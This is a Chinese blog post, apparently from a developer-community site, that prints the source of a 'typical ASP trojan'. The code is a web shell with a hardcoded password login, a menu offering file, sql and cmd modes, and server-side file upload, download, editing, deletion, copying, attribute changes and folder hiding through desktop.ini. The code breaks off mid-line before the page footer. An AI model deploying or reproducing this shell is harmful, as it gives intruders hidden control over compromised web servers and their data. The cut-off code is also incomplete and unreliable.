一个典型的ASP木马程序源码

<script language=JScript runat=server>
Response.Write ("欢迎您");
</script>
<%
mypass="chinait"
if request("userpass")=mypass then
session("admin")=mypass
end if

if request("logout")="退出登录" then
session("admin")=""
end if

if session("admin")="" then
response.write"<table width=500 border=0 align=center cellpadding=0 cellspacing=1 class=box>"
response.write"<form method=POST action=''>"
response.write"<tr height=18>"
response.write"<td height=25 align=center bgcolor=#003366 style=color:#ffffff>密码:&nbsp; "
response.write"<input type='password' name='userpass' size='20'>"
response.write"<input name='submit' type='submit' value='登录'>"
response.write"</td></tr></form></table>"
response.End()
end if
%>
<OBJECT RUNAT=Server ID=fs
classid='clsid:0D43FE01-F093-11CF-8940-00A0C9054228'></OBJECT>

<%gl=rq("gl"):if gl<>"" then Session("gl")=gl
Response.Clear:echo " "
echo "<a href="&self&"?gl=file>file</a> "
echo "<a href="&self&"?gl=sql>sql</a> "
echo "<a href="&self&"?gl=cmd>cmd</a> "
echo "<a href="&self&"?gl=listapp>listapp</a> "

pwd1="file":pwd2="sql":pwd3="cmd":pwd4="listapp":if Session("gl")="file" then

if left(aduser,4)="fso:" then
 fso=mid(aduser,5)
else
 fso="scripting.filesystemobject"
end if
echo fso
AdodbS="Adodb.Stream"
on error resume next
bbf=chr(13)&chr(10):y=chr(34):self=Request("URL")
function echo(lpstr):response.write lpstr:end function
function rq(lpstr):rq=request(lpstr):end function
function close():echo "<script>opener.document.location.reload();opener=null;self.close();</script>":response.end:end function


echo "<script>"&bbf
echo "window.οnerrοr=x_err;function x_err(sMsg,sUrl,sLine){return true}"&bbf
echo ""&"var url="""&replace(self,"/","//")&""";"&""&bbf
echo "function sattw(srcf){w=ow(350);w.location=url+""?fdo=gattr&fp1=""+srcf;}"&bbf
echo "function ren(f1,f2){location=url+""?fdo=ren&fp1=""+fp1+f1+""&fp2=""+fp1+document.all[f2].value;}"&bbf
echo "function downall(){ow(600).document.write(down);}"&bbf
echo "function replace(aa,bb,cc){var lpabc,lpi;for(lpi=0;lpi<1000;lpi++){lpabc=aa;aa=aa.replace(bb,cc);if(lpabc==aa)return aa;}return aa;}"&bbf
echo "function ow(w){return window.open("""","""",""scrollbars=no,toolbar=no,location=no,directories=no,status=no,menubar=no,resizable=no,height=300,width=""+w);}"&bbf
echo "</script>"&bbf
echo "<STYLE>body,td,span,div,a{FONT-SIZE:9pt;text-decoration:none}"&bbf
echo "span,a{cursor:hand;color:blue;}hr{height:1px;line-height:1px;color:#0000ff;}"&bbf
echo "</style><body Leftmargin=6 Topmargin=2>"&bbf

if not isobject(fs) then set fs= server.createobject(fso)
if fdo="" then fdo=lcase(request("fdo"))
fp1=request("fp1")
fp2=request("fp2")
if fdo="up" and Request.TotalBytes>20 then
 set dr1=server.CreateObject(AdodbS):dr1.Mode=3:dr1.Type=1:dr1.Open
 set dr2=server.CreateObject(AdodbS):dr2.Mode=3:dr2.Type=1:dr2.Open
 lnBytes=Request.BinaryRead(Request.TotalBytes)
 SignLen=Instrb(1,lnBytes,CStrB(bbf))-1
 Sign=MidB(lnBytes,1,SignLen)
 fname=tractName(getfilename()) '取文件名
 fp1=getvalue("fp1") '取路径值
 if fname<>"" and fp1<>"" then
  savefile(fp1&fname)
 else
  echo "文件名或路径错!"
 end if
 dr1.Close
 dr2.Close
 set dr1=nothing
 set dr2=nothing
 response.redirect self&"?fp1="&parentdir(fp1&"/")
end if
if fdo="down" then
 downFile(fp1)
 response.end
end if
if fdo="hide" then
 fp1=pn(fp1):fp2=fp1&"/desktop.ini"
 if not fs.fileExists(fp2) then
 fs.getfolder(fp1).attributes=22
 lr="[.ShellClassInfo]"+bbf+"CLSID={645FF040-5081-101B-9F08-00AA002F954E}"
 fs.createtextfile(fp2).Write lr
 fs.getfile(fp2).attributes=6
 echo "<script>alert('此目录已隐藏!');"
 else
 fs.getfolder(fp1).attributes=48
 fs.DeleteFile fp2,True
 echo "<script>alert('此目录已解除隐藏!');"
 end if
 echo "history.go(-1);</script>":response.end
end if
if fdo="adddir" then
 fp1=pn(fp1):fs.createfolder(fp1)
 response.redirect self&"?fp1="&fp1&"/"
end if
if fdo="newfile" then
 fp1=pn(fp1):if not fs.fileExists(fp1) then fs.createtextfile(fp1)
 response.redirect self&"?fp1="&parentdir(fp1&"/")
end if
if fdo="sedit" then
 fs.getfile(fp1).attributes=32
 fs.CreateTextFile(fp1).Write replace(Request("fp2"),"<_/"&"textarea>","</tex"&"tarea>")
 echo "<script>opener=null;self.close();</script>":response.end
end if
if fdo="gedit" then
 att=fs.getfile(fp1).attributes
 echo "<form METHOD=POST action="""&self&"""><input size=80 type=text name=fp1 value="""&fp1&"""><br>"
 echo "<input name=fdo value=sedit type=hidden><textarea cols=90 rows=20 name=fp2>"
 wj=fs.OpenTextFile(fp1,1,0,0).read(5000000)
 echo replace(replace(wj,"</tex"&"tarea>","<_/"&"textarea>"),"</TEX"&"TAREA>","<_/"&"textarea>")
 echo "</textarea><center><input type=submit value=-------保存-------> <a οnclick=opener=null;self.close();>放弃</a></form>"
 response.end
end if
if fdo="ren" then
 if fs.fileExists(fp1) then fs.movefile fp1,fp2
 if fs.folderExists(fp1) then fp1=pn(fp1):fs.movefolder fp1,pn(fp2):fp1=fp2
 response.redirect self&"?fp1="&parentdir(fp1&"/")
end if
if fdo="del" then
 if fs.fileExists(fp1) then fs.DeleteFile fp1,True
 if fs.folderExists(fp1) then fp1=pn(fp1):fs.Deletefolder fp1,True
 fp1=parentdir(fp1&"/")
 response.redirect self&"?fp1="&parentdir(fp1&"/")
end if
if fdo="copy" then
 if fs.fileExists(fp1) then fs.CopyFile fp1,fp2
 if fs.folderExists(fp1) then fs.Copyfolder pn(fp1),pn(fp2)
 close
end if
if fdo="sattr" then
 if fs.fileExists(fp1) then fs.getfile(fp1).attributes=fp2 or 32
 if fs.folderExists(fp1) then fs.getfolder(fp1).attributes=fp2 or 32
 echo "<script>opener=null;self.close();</script>":response.end
end if
if fdo="gattr" then
 if fs.fileExists(fp1) then att=fs.getfile(fp1).attributes
 if fs.folderExists(fp1) then att=fs.getfolder(fp1).attributes
 echo "<form name=fgs METHOD=POST action="""&self&""">"&fp1&"<br><input type=hidden name=fp1 value="""&fp1&""">"
 echo "只读<input type=checkbox name=c1 ":if att and 1 then echo "checked"
 echo "> 隐藏<input type=checkbox name=c2 ":if att and 2 then echo "checked"
 echo "> 系统<input type=checkbox name=c3 ":if att and 4 then echo "checked"
 echo "><center><br><input name=fdo value=sattr type=hidden><input name=fp2 value="&att&" type=hidden>"
 echo "<a οnclick='var s=0;if(c1.checked)s+=1;if(c2.checked)s+=2;;if(c3.checked)s+=4;fp2.value=s;fgs.submit();'>修改</a></form>"
 response.end
end if

'开始
if request("fp1")<>"" then session("fp1")=request("fp1")
if fp1="" then fp1=session("fp1")
echo "<table border=0 cellspacing=0 cellpadding=0><tr><td>"
echo "<form name=fu method=post action="""

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值